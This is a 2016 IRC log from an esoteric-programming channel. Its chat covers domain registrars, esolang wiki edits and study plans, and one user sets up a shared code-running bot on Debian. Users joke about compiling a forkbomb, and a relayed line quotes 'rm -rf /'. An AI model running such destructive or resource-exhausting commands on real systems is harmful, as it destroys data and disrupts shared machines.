18:14:08 <shachaf> `smlist 443
18:14:17 <HackEgo> smlist 443: shachaf monqy elliott mnoqy
18:19:24 <int-e> `? smlist
18:19:29 <HackEgo> Non-update notification for the webcomic Super Mega.
18:23:57 -!- moon_ has joined.
18:27:32 <shachaf> Taneb: If I'm to follow my dream, I'll need to go around a big house with empty rooms and fill up a garbage bag somehow.
18:34:59 <moon_> what for shachaf?
18:37:52 <moon_> `yes shachaf | head
18:37:54 <HackEgo> shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf | head \ shachaf |
18:37:58 <shachaf> moon_: Stop it.
18:38:05 <moon_> im askin a question
18:38:07 <shachaf> Just don't talk to me.
18:38:11 <moon_> ok
18:46:22 -!- Alcest has quit (Ping timeout: 250 seconds).
18:55:29 <int-e> shachaf: can you, say, blow up the garbage bag? (in a nonexplosive fashion)
18:55:56 <shachaf> Look, this dream was several years ago. I don't remember the details.
18:56:47 <int-e> fair enough
18:56:53 <int-e> I didn't have context anyway.
18:56:58 <int-e> (as usual)
18:59:15 -!- sebbu has joined.
19:02:33 -!- jaboja has joined.
19:03:30 <shachaf> The context was what Taneb said a few lines ago.
19:07:26 <fizzie> shachaf: Relevant for what? There is a change, yes.
19:08:14 <shachaf> fizzie: I didn't realize at firs tthat the email had an English section.
19:08:32 <fizzie> Oh, okay.
19:08:47 <fizzie> I haven't yet decided what to do with zem.fi.
19:09:10 -!- moon_ has quit (Quit: Page closed).
19:09:53 <shachaf> Why do you need to do something?
19:10:02 <shachaf> You didn't go through a registrar?
19:10:22 <shachaf> Anyway it sounds like .fi domains will be open to everyone in Sep?
19:10:31 -!- gniourf has joined.
19:11:03 <pikhq> if.bash.then.fi
19:11:42 <fizzie> Yes. And I went through the government, that was the only way you could go through when I got the domain.
19:11:55 <shachaf> if.algol.fi
19:12:17 <fizzie> (So now I need to locate a company that's not stupid.)
19:12:37 <shachaf> A company that's not stupid?
19:14:22 <fizzie> Yes, to do the registrar thing.
19:15:08 <shachaf> "The registrar is often the one that has provided you • internet access • home page • or email address."
19:15:11 <shachaf> hth
19:15:13 -!- idris-bot has quit (Quit: Terminated).
19:15:38 -!- Melvar has quit (Quit: thunderstorm).
19:15:44 -!- xkapastel has joined.
19:16:10 <fizzie> Well, I don't think our UK ISP or DigitalOcean does .fi domains.
19:16:59 <shachaf> I use gandi.net for my .fi domain.
19:17:07 <shachaf> I don't know whether they can do the registrar thing.
19:19:02 <fizzie> The government place had a huge list, but I know nothing about any of them.
19:19:20 <shachaf> I see the huge list.
19:20:31 <fizzie> I looked at the websites of couple of them at random, and couldn't find out at all whether they'd be willing to sell me the domain registration only, without any other services.
19:21:15 <shachaf> DNSSEC? more like DNSSCOW
19:27:06 -!- spiette has quit (Ping timeout: 250 seconds).
19:28:34 -!- Melvar has joined.
19:32:46 -!- atrapado has quit (Quit: Leaving).
19:33:07 -!- idris-bot has joined.
19:41:26 -!- atrapado has joined.
19:44:20 -!- PinealGlandOptic has quit (Ping timeout: 260 seconds).
19:46:10 -!- moon_ has joined.
20:04:45 -!- Sgeo has quit (Ping timeout: 246 seconds).
20:07:21 -!- atrapado has quit (Read error: Connection reset by peer).
20:07:47 -!- atrapado has joined.
20:37:13 <moon_> someone discovered something that jammes havocbot and requires admin assistance: the allmighty vi
20:37:25 -!- spiette has joined.
20:39:30 -!- jaboja has quit (Read error: No route to host).
20:43:46 -!- eclipse has joined.
20:43:53 <eclipse> what is this madness moon_
20:44:05 <moon_> oh hi
21:02:29 -!- `^_^ has joined.
21:02:58 -!- Koen_ has joined.
21:04:03 -!- nycs has quit (Ping timeout: 264 seconds).
21:08:24 -!- Koen_ has quit (Ping timeout: 276 seconds).
21:08:30 <moon_> people ave diescted hbot and started playing with its output stream
21:21:40 <gamemanj> "Vi"?
21:21:59 -!- eclipse has left ("Leaving").
21:23:27 <moon_> the vi utility
21:23:34 <moon_> it freezes up hbot for some reason
21:35:52 -!- xkapastel has quit (Quit: Connection closed for inactivity).
21:39:56 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
21:47:05 <gamemanj> this is bound to start up text editor flamewars
21:47:11 <gamemanj> keep it a secret
21:47:17 <gamemanj> except to important people
21:48:31 <moon_> also
21:48:35 -!- `^_^ has quit (Quit: This computer has gone to sleep).
21:48:39 <moon_> hbot is being moved to archlinux
21:48:58 <moon_> using a more secure and better bot
21:52:11 <gamemanj> I think I'm supposed to say "yay" here because I use archlinux, but I think I'll have to defer to someone else on that since I'm busy
21:52:18 -!- `^_^ has joined.
21:52:58 <gamemanj> sorry for any inconvenience caused, etc... ok, nvm, YAAAAAAAAAAAYYYYYYYYYYYY!!!!
21:54:20 -!- AnotherTest has joined.
21:55:25 <moon_> also
21:55:31 <moon_> hbot will gain network filters
21:55:42 <moon_> *if i can write them*
21:55:48 <moon_> but hey
21:55:54 <moon_> the new hbot will have cc
21:55:56 <moon_> *gcc
21:56:04 <gamemanj> gcc? ooo
21:56:26 <gamemanj> so can I compile ye-olde-forkbomb.c?
21:56:40 <moon_> nice try
21:57:49 <myname> or ye-olde-endless-loop.c
21:57:50 -!- spockers has joined.
21:59:43 -!- J_Arcane_ has joined.
22:00:21 <moon_> ill see about a timer
22:01:10 -!- J_Arcane has quit (Ping timeout: 244 seconds).
22:01:21 -!- Kaynato has quit (Ping timeout: 240 seconds).
22:01:23 -!- J_Arcane_ has changed nick to J_Arcane.
22:02:00 -!- gamemanj has quit (Ping timeout: 246 seconds).
22:10:45 -!- AnotherTest has quit (Ping timeout: 260 seconds).
22:12:55 -!- augur_ has joined.
22:15:05 -!- augur has quit (Ping timeout: 250 seconds).
22:17:34 -!- atrapado has quit (Quit: Leaving).
22:21:30 -!- Koen_ has joined.
22:34:25 -!- augur_ has quit (Remote host closed the connection).
22:37:17 -!- Lord_of_Life has quit (Excess Flood).
22:40:11 <moon_> im lonely
22:40:40 -!- Lord_of_Life has joined.
22:42:00 -!- `^_^ has quit (Quit: This computer has gone to sleep).
22:42:09 <moon_> im very lonely
22:51:24 <izabera> http://www.valvesoftware.com/jobs/job_postings.html
22:51:29 <izabera> "As a Valve Anti-Cheat engineer, you will use your reverse engineering, debugging, and programming skills to bring down cheaters throughout the Steam community. Your familiarity with executable file formats, dynamic link libraries, and process management will help us unravel webs of online cheaters."
22:51:37 <izabera> WEBS
22:58:14 <moon_> lol
23:05:56 <HackEgo> [wiki] [[Nix]] N https://esolangs.org/w/index.php?oldid=47205 * 216.188.250.122 * (+5707) Created page with "''Nix'' is a one-dimension [[Esoteric_programming_language|esoteric language]] created by Quiqucode. It operates on a single top-access stack that can be manipulated via certa..."
23:13:32 <Koen_> not to be confused with bottom-access stacks
23:25:16 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47206&oldid=47205 * 216.188.250.122 * (+14) /* Methods */
23:27:57 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47207&oldid=47206 * 216.188.250.122 * (+1) /* Syntax */
23:30:30 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47208&oldid=47207 * 216.188.250.122 * (+4)
23:30:50 <izabera> http://colinm.org/language_checklist.html
23:31:01 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47209&oldid=47208 * 216.188.250.122 * (-9)
23:33:42 -!- augur has joined.
23:35:03 -!- MoALTz has joined.
23:35:25 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47210&oldid=47209 * 216.188.250.122 * (-1)
23:36:33 <HackEgo> [wiki] [[Nix]] https://esolangs.org/w/index.php?diff=47211&oldid=47210 * 216.188.250.122 * (-80) /* External resources */
23:52:49 <Cale> b...but there already is an esolang called nix... https://nixos.org/nix/
2016-06-15
00:02:54 -!- oerjan has joined.
00:05:31 <quintopia> helloerjan
00:05:37 <quintopia> Calello
00:05:59 <quintopia> not much you can do to prevent simple names from being duplicated
00:06:13 <quintopia> see the two different languages called "Clue" already on the wiki
00:06:22 <oerjan> quhintopia
00:07:02 <oerjan> it happens surprisingly rarely
00:07:57 <quintopia> i've dissuaded someone from naming a language "Grasp" at least once, despite the fact that the barely-extant language of that name isn't even on the wiki...
00:08:48 <oerjan> <shachaf> Taneb: If I'm to follow my dream, I'll need to go around a big house with empty rooms and fill up a garbage bag somehow. <-- i'd prefer not to follow my most recent dream, as it was happening in a totalitarian state with strict thought control tdnh
00:09:04 <shachaf> oerjan: but were you the overlord?
00:09:06 <oerjan> (although there were some rebels.)
00:09:08 <oerjan> shachaf: nope
00:09:26 -!- boily has joined.
00:09:52 -!- moon_ has quit (Ping timeout: 250 seconds).
00:10:26 <oerjan> chàoily anh!
00:11:16 <quintopia> bon soily
00:15:00 <quintopia> how goes the fraternal seige?
00:15:03 <quintopia> *siege
00:16:28 <boily> børjaintoirpia!
00:17:15 <boily> he's attending panels and posters and cocktails with hairy and optical people.
00:17:54 <oerjan> . o O ( a clash of dental and optical people )
00:18:47 <APic> lol
00:19:04 <APic> As long as they Mentals are out…
00:20:02 -!- bender has joined.
00:20:12 <oerjan> . o O ( nairy and dental )
00:20:43 * oerjan realizes for the first time that Nair is a portmanteau
00:20:56 <boily> I believe there's a strong correlation between hair length and mathematical skills.
00:21:02 <oerjan> well, possibly the first time.
00:21:05 <boily> Nair: No Hair?
00:21:12 <oerjan> yeah
00:22:36 <oerjan> it may be strong, but it's not essential. look at terry tao.
00:23:38 <boily> hair length integer overflow.
00:23:50 <oerjan> thausible.
00:26:03 <shachaf> oerjan: what is "thausible" twh
00:26:22 <boily> `culprits wisdom/thausiblee
00:26:34 <oerjan> also, look at alexander grothendieck.
00:26:41 <HackEgo> oerjan elliott boily
00:26:53 <oerjan> (the first google images hit on "bald mathematician")
00:27:23 <boily> counter-establishment anarcho-mathematician hth
00:27:41 <oerjan> wait, second
00:36:25 <quintopia> boily: is he a grad student?
00:45:26 <izabera> is this spam? https://worldbuilding.stackexchange.com/questions/44459/why-do-people-create-fictional-languages
00:49:50 <quintopia> which answer?
00:49:55 <izabera> the question
00:52:58 <quintopia> nah
00:53:23 <quintopia> the link is a footnote, an interesting aside
00:53:31 <quintopia> advertising it doesn't seem to be the main point
00:53:56 <quintopia> and the item in question has gotten a lot of press lately, so it's not surprising for it to appear here
00:56:18 <izabera> how well does that thing work?
00:56:42 <quintopia> is "spastic fit" the correct way to translate "seizure" into Victorian English?
00:58:30 <quintopia> exactly how you'd expect: record speech, convert to text, send to app, parse and translate, TTS, send back to ear piece.
00:58:54 <quintopia> the trick is that all the translation is done within the app rather than in the cloud, so no internet connection needed.
01:00:15 <izabera> no i mean
01:00:17 <izabera> does it work well?
01:01:16 <boily> quintopia: the bro is a grad student. he's doing his masters atm hth
01:01:17 <izabera> google translate is okish for short sentences
01:04:21 <quintopia> i misread the sentence
01:04:32 <quintopia> no one knows how well it works, as it hasn't been sold yet
01:06:08 -!- Elronnd has changed nick to Elronnd\StD.
01:10:38 <quintopia> boily: and you? you are alone and desperate for attention? :P
01:13:51 -!- Elronnd\StD has changed nick to Elronnd.
01:14:21 <boily> quintopia: in a permanent state of despair and existential anguish.
01:16:40 <quintopia> would vidya games help? :P
01:19:43 <boily> they could, but I'm eating tortellinis >_>'...
01:21:19 -!- moon_ has joined.
01:22:55 -!- boily has quit (Quit: KNUCKLED CHICKEN).
01:27:02 <quintopia> if Negro was considered taboo in the 1860s, what was considered acceptable?
01:29:21 <quintopia> oh, right, colored
01:31:02 <oerjan> https://nixos.org/nix/
01:31:13 <oerjan> _18_60s?
01:31:38 <oerjan> i think negro was considered excessively polite
01:33:07 <oerjan> ...how did i paste that link.
01:33:17 <moon_> lol
01:33:22 <moon_> from earlier
01:33:24 <moon_> if i remember
01:33:29 <oerjan> i know where i got it from.
01:33:38 <oerjan> the question is wtf did i paste it.
01:33:42 <oerjan> stupid keyboard.
01:33:49 <oerjan> also fingers.
01:34:09 <oerjan> and we'll just skip over the damn brain.
01:34:10 <moon_> shhhhh dont be mean to them, the can dissappear at will!
01:34:27 <moon_> we dont want a world without keyboards :P
01:34:47 <moon_> world without fingers is many times worse
01:35:13 <oerjan> we'll just use mecha claws hth
01:35:30 <moon_> how would we make em? No fingers
01:35:47 <oerjan> have you seen what those toe painters can do
01:35:55 <oerjan> shouldn't be a problem.
01:36:14 <moon_> har har har
01:36:30 <shachaf> wouldn't we need mecha lawyers first
01:36:30 <moon_> we cant assemble mecha claws without delicate presicion
01:36:38 <moon_> ^
01:36:41 * oerjan wonders how long it would take dolphins to develop suitable gripping tools if they put their mind to it
01:36:54 <moon_> also
01:36:57 <moon_> in around 3-5 minutes
01:37:18 <moon_> hbot will be running on a minimal debian installation (base utilitys only)
01:37:26 <moon_> (with gcc, i hope)
01:37:33 <moon_> (if not, dpkg power)
01:37:58 <oerjan> moon_: i shall misquote a certain dwarf from somewhere: "with just stones and sticks he could build tools. with those tools he could build other tools. with those tools he could build anything."
01:37:58 <moon_> Also
01:38:01 <moon_> no superusers
01:38:16 <oerjan> (i think it may have been discworld?)
01:38:21 <moon_> maybe
01:38:43 <moon_> i just poped off a key from my keyboard
01:38:44 <moon_> Ewww
01:39:10 <moon_> warning: do not hold my crumb filled keyboard above your head
01:39:29 <moon_> with keys removed
01:40:24 <oerjan> i think the crumbs in my keyboard have shifted again, it's been a while since i noticed the left arrow key missing presses
01:40:48 <moon_> lol
01:40:55 <moon_> also
01:41:05 <moon_> its possible to se my most used keys
01:41:27 -!- Phantom__Hoover has joined.
01:41:28 <moon_> 'wasdetvcuio' in decending order
01:41:35 <oerjan> (ironically, it started going bad just _after_ it been at service with a full internal cleaning)
01:41:42 <oerjan> *it had
01:42:09 <oerjan> wasd huh
01:42:22 <moon_> i play video games
01:42:27 <moon_> i used to play them all the time
01:42:31 * oerjan doesn't play that many games. mostly tatham's puzzles, which don't use wasd.
01:42:33 <moon_> until i discovered #esoteric
01:43:00 <moon_> oh god
01:43:13 <moon_> how ta fuck did eyelashes get under the numpad 0?
01:43:25 <oerjan> you inspected too closely?
01:43:32 <moon_> mhm O.o
01:43:46 <moon_> also
01:43:50 <moon_> grime
01:43:59 <moon_> keyboards are disgusting
01:44:04 <moon_> wait
01:44:12 <moon_> i just quoted XKCD
01:44:18 <moon_> on accident
01:44:44 -!- moon_ has quit (Quit: Page closed).
01:45:01 -!- augur has quit (Remote host closed the connection).
01:45:04 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds).
01:45:09 <oerjan> https://xkcd.com/237/ for those following along from home.
01:45:19 -!- moon_ has joined.
01:45:32 <oerjan> <oerjan> https://xkcd.com/237/ for those following along from home.
01:45:34 <moon_> the grim on my keyboard is like gum o.o
01:45:52 <oerjan> i don't think my keyboard is _that_ grimy.
01:46:01 <moon_> it wont come off
01:46:18 <oerjan> you probably need some kind of solvent.
01:46:27 <moon_> i agree
01:46:36 <moon_> im going to scrub this thing to death tommorow >_>
01:47:07 <oerjan> just don't make that literal
01:47:17 <moon_> kk
01:47:28 <quintopia> oerjan: in the U.S. of that time "Negro" had been too long associated with "slave" to be considered polite. It wasn't until the early 20th that it came back into polite usage.
01:48:09 <moon_> uuuuuuuuuuuuuuuuuuuuuuuuuuujhij8ijnuijijhjhj8jjj8ji8ujjhjhujjjuuj8uijjjjjhjhyhyhjyhyhhyyyyyyyyyyyyyyyyyyyyyyyyyyhmikkj9jkiuyhhghguhuhuhuhuhhhgygyghghgyhhhhhyhyuhhy7yh77y7tt7h7y77t7ttb7
01:48:10 <oerjan> quintopia: so you were _not_ mistyping 1960s?
01:48:10 <moon_> sorry
01:48:13 <moon_> trying to scrub
01:48:24 <quintopia> oerjan: no
01:48:32 <oerjan> moon_: i try to avoid doing such things with windows in focus hth
01:48:44 <oerjan> (not always successfully)
01:49:47 <oerjan> . o O ( does wikipedia have a chart of the historical development of that euphemism treadmill )
01:51:15 <moon_> havocbot will be put online via debian in just a few minutes
01:51:20 <moon_> complete with GCC
01:52:32 <moon_> tip: never run apt list directly
01:54:31 <oerjan> "Etymologically, the eupheme is the opposite of the blaspheme "evil-speaking." The term euphemism itself was used as a euphemism by the ancient Greeks, meaning "to keep a holy silence" (speaking well by not speaking at all)."
01:56:53 <shachaf> "euphemism" sounds like it would have more of an itymology
01:57:02 <shachaf> or maybe iykwimology
01:57:07 -!- augur has joined.
01:57:29 <quintopia> oerjan: frying pan needed in aisle 4
01:58:12 <oerjan> quintopia: i cannot, itymology is an official term hth
01:58:15 <moon_> i got the root password done wrong, i didnt type the right one
01:58:33 <oerjan> moon_: "hunter2" hth
01:59:31 <shachaf> oerjan: But did I ever get swatted for it before it was official?
01:59:39 <shachaf> Assuming it was my term. I can't remember.
01:59:50 <shachaf> `1 hg log wisdom/itymology
02:00:39 <HackEgo> No output.
02:00:41 <shachaf> `1 hg log wisdom/itymology
02:00:44 <shachaf> HackEgo: tdnh
02:00:52 <HackEgo> 1/1:changeset: 7632:d34b4bb2e28f \ user: HackBot \ date: Sat Apr 30 04:26:19 2016 +0000000 \ summary: <oerjan> learn Itymology is the science of understanding the true meaning of a statement. \ \
02:01:30 <moon_> locked out >_>
02:01:46 <moon_> what file should i edit using the recovery shell?
02:01:52 <moon_> to reset the root password?
02:02:09 <oerjan> does /etc/passwd work these days
02:02:17 <shachaf> Yes, it was me.
02:03:21 <moon_> and what does etc/passwd usually contain (like a example)
02:03:46 * oerjan is just wildly guessing. certainly it doesn't contain passwords these days.
02:03:57 <oerjan> in fact it's world readable on this server.
02:04:13 <moon_> well
02:04:15 <moon_> lets try this
02:04:29 <moon_> it worked
02:05:32 <moon_> ok
02:05:38 <moon_> NOW havocbot will be up in a few minutes
02:05:46 <moon_> and no root privs >_>
02:06:18 <moon_> adding gcc...
02:06:28 <moon_> any requests for installed software? :P
02:06:37 <moon_> im planning on GHC by the way
02:07:49 <moon_> oerjan? any requests?
02:09:43 <oerjan> i'm not planning to use it so...
02:11:00 <moon_> ybden: any requests for software on havocbot 2.0? :P
02:16:31 <moon_> can i have a list of commands that can be used to shut down linux?
02:18:08 <moon_> `shutdown
02:18:09 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: shutdown: not found
02:18:12 <moon_> `quit
02:18:14 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: quit: not found
02:18:14 <moon_> `exit
02:18:15 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: exit: not found
02:18:22 <moon_> `logout
02:18:23 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: logout: not found
02:18:26 <moon_> .-.
02:18:28 <moon_> )=
02:18:30 <moon_> i wished
02:18:32 <moon_> i failed
02:19:17 <oerjan> i'd assume none are supposed to do that without superuser privileges
02:19:37 <moon_> oh
02:19:45 <moon_> well
02:20:02 <moon_> how can i prevent the bot from running those on my debian virtual machine?
02:20:30 <oerjan> and also, that with superuser privileges you can pretty much bootstrap whatever power you want
02:20:55 <moon_> also, the bot has no superuser privs
02:21:02 <oerjan> just but creating a raw binary file
02:21:02 <moon_> the new version at least
02:21:05 <oerjan> good
02:21:24 <oerjan> then it all depends on bug exploits.
02:22:17 <oerjan> which get discovered and fixed all the time.
02:22:47 * oerjan has no idea _how_ frequently.
02:23:25 <moon_> this is the latest debian version
02:23:38 -!- Kaynato has joined.
02:23:40 <oerjan> should be safer than some of our other bots, then.
02:23:45 <moon_> also
02:23:52 <moon_> i discovered the fakeroot command
02:23:59 <moon_> i guess i CAN let you all build packages
02:24:34 <oerjan> anyway, if you're serious about making it safer, you might want to ask an actual expert on this.
02:24:44 <oerjan> well a relative expert, anyway.
02:26:12 <moon_> well
02:26:26 <moon_> any good packages you think some people from here might want on it?
02:26:52 <moon_> GHC, GCC, python-pip, and hsbrainfuck have been installed
02:27:51 <izabera> all the important ones, and ghc too
02:28:04 <moon_> important ones check
02:28:11 <moon_> for ghc
02:28:13 <moon_> already done
02:28:30 <moon_> any more? i think i found a way to kill network access
02:28:48 <moon_> so you *might* not be able to install packages later
02:29:16 <izabera> frotz
02:29:35 <moon_> yup, i did
02:30:04 <moon_> might not work very well
02:30:06 <moon_> but ok
02:30:30 <moon_> feed me
02:31:11 -!- spiette has quit (Quit: :qa!).
02:34:15 <moon_> so, no more?
02:34:53 <shachaf> Why not ask in #esoteric-blah, where the people who actually want to use that bot are?
02:37:22 <Phantom__Hoover> moon_, that's now how hackego works btw
02:38:17 -!- Phantom__Hoover has quit (Read error: Connection reset by peer).
02:38:39 <Koen_> you could add a go engine
02:40:02 <moon_> certainly
02:40:06 <moon_> adding Golang
02:42:46 <moon_> [21:41] <hexxley> im rm -rf / hbot: cat videos
02:43:00 <moon_> im am certain havocbot cant cat cat videos
02:44:41 <Koen_> I meant go the game, not go the silly language
02:46:11 <moon_> oh lol
02:46:24 <moon_> well,its installed
02:46:32 <moon_> but havocbot is oneline output
02:46:53 <moon_> and would require state saving and program end support between each move
02:49:48 -!- Sgeo has joined.
02:50:39 <moon_> hi sgeo
02:50:53 <Sgeo> Hi moon_ and all
02:51:36 <moon_> im running a linux bot named havocbot, any packages i should add to it>
02:54:27 -!- sebbu has quit (Ping timeout: 264 seconds).
03:05:21 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
03:06:29 <moon_> havocbot has multiple linux bindings for you all to work with, any C/C++ librarys you all want?
03:06:42 <moon_> oops wrong channel
03:28:20 -!- moon_ has quit (Ping timeout: 250 seconds).
04:13:40 -!- bender has quit (Quit: Leaving).
04:30:54 <izabera> https://www.blackhat.com/ oh, there's blackhat.com, nice
04:31:01 <izabera> let's see its counterpart
04:31:08 <izabera> http://www.whitehat.com/ .........disappointed
04:41:03 <shachaf> Is there a name for the naturals with the Alexandrov topology?
04:41:37 <shachaf> (On the standard total order.)
04:54:10 -!- sebbu has joined.
05:01:25 -!- Kaynato has quit (Ping timeout: 260 seconds).
05:16:15 <shachaf> `smlist 444
05:16:34 <HackEgo> smlist 444: shachaf monqy elliott mnoqy
05:17:08 <shachaf> HackEgo: thx tdh
05:23:59 <oerjan> `? smlist
05:24:05 <HackEgo> Non-update notification for the webcomic Super Mega.
05:25:17 -!- trn has quit (Quit: quit).
05:35:31 -!- trn has joined.
06:01:30 -!- augur has quit (Remote host closed the connection).
06:17:50 <izabera> reading one of those lists of random memorable quotes from irc channels
06:17:57 -!- copumpkin has quit (Ping timeout: 260 seconds).
06:18:29 <izabera> would it be possible to train a neural network to tell if something is memorable?
06:18:42 <izabera> or quoteworthy, idk
06:22:20 -!- copumpkin has joined.
06:57:06 -!- augur has joined.
06:59:14 -!- PinealGlandOptic has joined.
07:24:27 -!- Akaibu has joined.
07:24:48 -!- hppavilion[1] has joined.
07:30:27 -!- PinealGlandOptic has quit (Quit: leaving).
07:32:15 <hppavilion[1]> `? children
07:32:29 <HackEgo> Children are a fungible commodity.
07:54:57 <oerjan> ok, looks like the _immediate_ girl genius chrisis is being defused.
07:55:32 <oerjan> for now.
07:56:11 <oerjan> *-h
08:04:00 <shachaf> oerjan: is that like a religious crisis
08:15:01 <oerjan> well it did involve something resembling a resurrection
09:11:51 -!- MoALTz has quit (Ping timeout: 276 seconds).
09:24:28 -!- oerjan has quit (Quit: Later).
09:35:51 -!- MoALTz has joined.
09:43:59 -!- augur has quit (Remote host closed the connection).
09:44:09 -!- atrapado has joined.
09:54:04 <hppavilion[1]> I made a little minecraft contraption for airstrikes
09:54:27 <hppavilion[1]> You just plant a creeper named "airstrike" and it summons a column of TNT that falls and blows the area to smithereens
09:54:48 <hppavilion[1]> Interestingly, when done on perfectly flat terrain with no entities, it makes a nice deep straight hole downward
09:54:58 <hppavilion[1]> But when there are entities at the target location, there's more scatter
09:55:59 <hppavilion[1]> Hm, another interesting contraption would be an "eternal bomb"
09:56:14 <hppavilion[1]> Which is a Primed TNT that has a fuse of n ticks
09:56:40 <hppavilion[1]> At exactly n ticks into its life, a copy of it is spawned at its location (with the same n tick fuse and a life starting just then)
10:03:03 <hppavilion[1]> Obama spend this afternoon designating the names of post offices. Really going out with a bang, isn't he?
10:16:04 -!- Moon_ has joined.
10:16:08 <Moon_> Hi
10:17:33 -!- atrapado has quit (Ping timeout: 240 seconds).
10:19:57 <b_jonas> `wisdom
10:20:05 <b_jonas> hello everyone
10:20:50 <HackEgo> hypo//Hypo is potamus.
10:21:02 -!- AnotherTest has joined.
10:21:58 <Moon_> Hi b_
10:22:22 <Moon_> Hint will be online tommrow
10:22:37 <Moon_> *hbot
10:23:02 <Moon_> Any debating packages you want p it b_jonas?
10:23:09 <Moon_> *debian
10:26:47 <Moon_> Also, I'm going to make some form of CD hackin
10:27:03 <Moon_> To allow for changing
10:29:04 <b_jonas> Moon_: no thanks
10:29:21 <b_jonas> I'm sorry, I didn't do much with hbot yet
10:30:28 -!- atrapado has joined.
10:32:11 <Moon_> Why do I care b_j ? Hint is being rebuilt right now anyways
10:32:40 <Moon_> Damn autocorrect
10:32:46 <Moon_> Hbot *
10:36:10 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
10:36:28 -!- Koen_ has joined.
10:43:05 <Taneb> Hmm
10:43:19 <Taneb> In the autumn I'll be learning evolutionary and quantum computation
10:43:24 <Taneb> (Separately)
10:44:11 <Koen_> why do you always study fun stuff?? how can I attend your university?
10:44:33 <Taneb> Koen_, University of York, and by applying, presumably
10:44:38 <Taneb> And I had to wait until my fourth year
10:44:55 <Koen_> fair enough
10:45:04 <Taneb> Where's your university?
10:45:37 <b_jonas> what? that doesn't sounds like fun stuff to me
10:46:34 <Taneb> I'm also going to be doing Algebraic Geometry, Lie Algebras and Lie Groups, and Semigroup Theory
10:47:36 <b_jonas> Taneb: ah, now those sound much better (but not easy)
10:48:15 <Taneb> b_jonas, these are Masters' level modules (I'm doing an integrated master's degree)
10:48:58 <Taneb> In the spring I'll be doing functional programming, more quantum computation, and algebraic groups
10:49:14 -!- AnotherTest has quit (Ping timeout: 250 seconds).
10:51:48 -!- hppavilion[1] has joined.
10:54:40 -!- Moon_ has quit (Ping timeout: 250 seconds).
10:59:25 <Koen_> Taneb: well, I live in France
11:01:02 <Taneb> Koen_, that could be problematic, although not an insurmountable obstacle
11:01:57 <Koen_> do you mean they do correspondance courses? or are you trying to seduce me to the dark side of the rosbif
11:05:38 <Taneb> The latter
11:09:42 <b_jonas> heh, "dark side of the rosbif"
11:10:48 -!- Phantom_Hoover has joined.
11:11:33 <Koen_> well I will not be tempted!!
11:15:04 <Taneb> Phantom_Hoover, help me tempt Koen_ to the dark side of the rosbif
11:18:09 -!- Moon_ has joined.
11:20:46 <Phantom_Hoover> Taneb, no
11:20:53 <Phantom_Hoover> ill never join you
11:21:03 <Moon_> Hi phantom
11:23:15 <Taneb> Koen_, does your university do much functional programming research that you know of?
11:23:44 <Taneb> I'm trying to figure out my Grand List of Places To Apply For PhD
11:23:52 <Koen_> I know one of my teachers was involved in creating the language ReactiveML
11:24:26 <Koen_> a "reactive" version of ocaml
11:24:44 <Taneb> Hmm
11:24:50 <Taneb> Might be worth a shot
11:24:53 <Koen_> so I guess that should count as functional, though I've got no clue what reactive means (I tried reading his papers. they might as well have been written in another language)
11:24:54 <Taneb> I mean, I'd have to learn French
11:25:08 <Koen_> well, computer science researchers *usually* speak english
11:25:19 <Koen_> and foreign students is not unusual
11:25:43 <Koen_> I'm half-certain a computer science thesis has to be written in english anyway
11:26:18 <Koen_> though if you're required to be a t.a. that's gonna be in french
11:26:28 <Taneb> I'd have to learn French to survive in the country
11:26:51 <Koen_> the country will understand you, provided you speak slowly enough :)
11:27:02 <Koen_> we just don't speak english because we're so ashamed of our accent
11:27:13 <Taneb> I can't walk into a supermarché and say "I'm a computer scientist, so I get to speak English"
11:27:28 <Koen_> who said you needed to talk at all in a supermarché ? this is 2016
11:28:01 <Taneb> I don't think the self-service tills speak English, generally
11:28:05 <Taneb> Also I have my ego to think of
11:28:15 <Taneb> Imagine, living in a country whose language you do not speak
11:28:20 <Koen_> I'm sure you'll be fluent in french in three months
11:29:10 <Koen_> (you don't have to remember the gender of every noun. using random genders is foreigner's privilege)
11:29:46 -!- Moon_ has quit (Ping timeout: 250 seconds).
11:29:50 <Taneb> `? Taneb
11:29:59 <shachaf> `? tanebventions
11:30:05 <Koen_> the go program Mogo (the first one to use monte carlo tree search) was created at my university, actually :-)
11:30:10 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions)
11:30:10 <HackEgo> Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex.
11:30:28 <Taneb> Koen_, if I can't remember my own gender, I'm sure I can be excused forgetting the gender of other words
11:30:44 <Koen_> sure
11:31:05 <shachaf> `? tanebventions (math)
11:31:08 <HackEgo> Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms.
11:31:19 -!- boily has joined.
11:31:22 <shachaf> oerjan: I thought the order of tanebventions was significant, but I guess that's being scrapped.
11:31:33 <shachaf> oerjan: In which case maybe they should just go in alphabetical order.
11:31:37 -!- iaglium has joined.
11:31:47 <Taneb> shachaf, I think they should be in random order
11:31:51 <boily> `? tanebventions
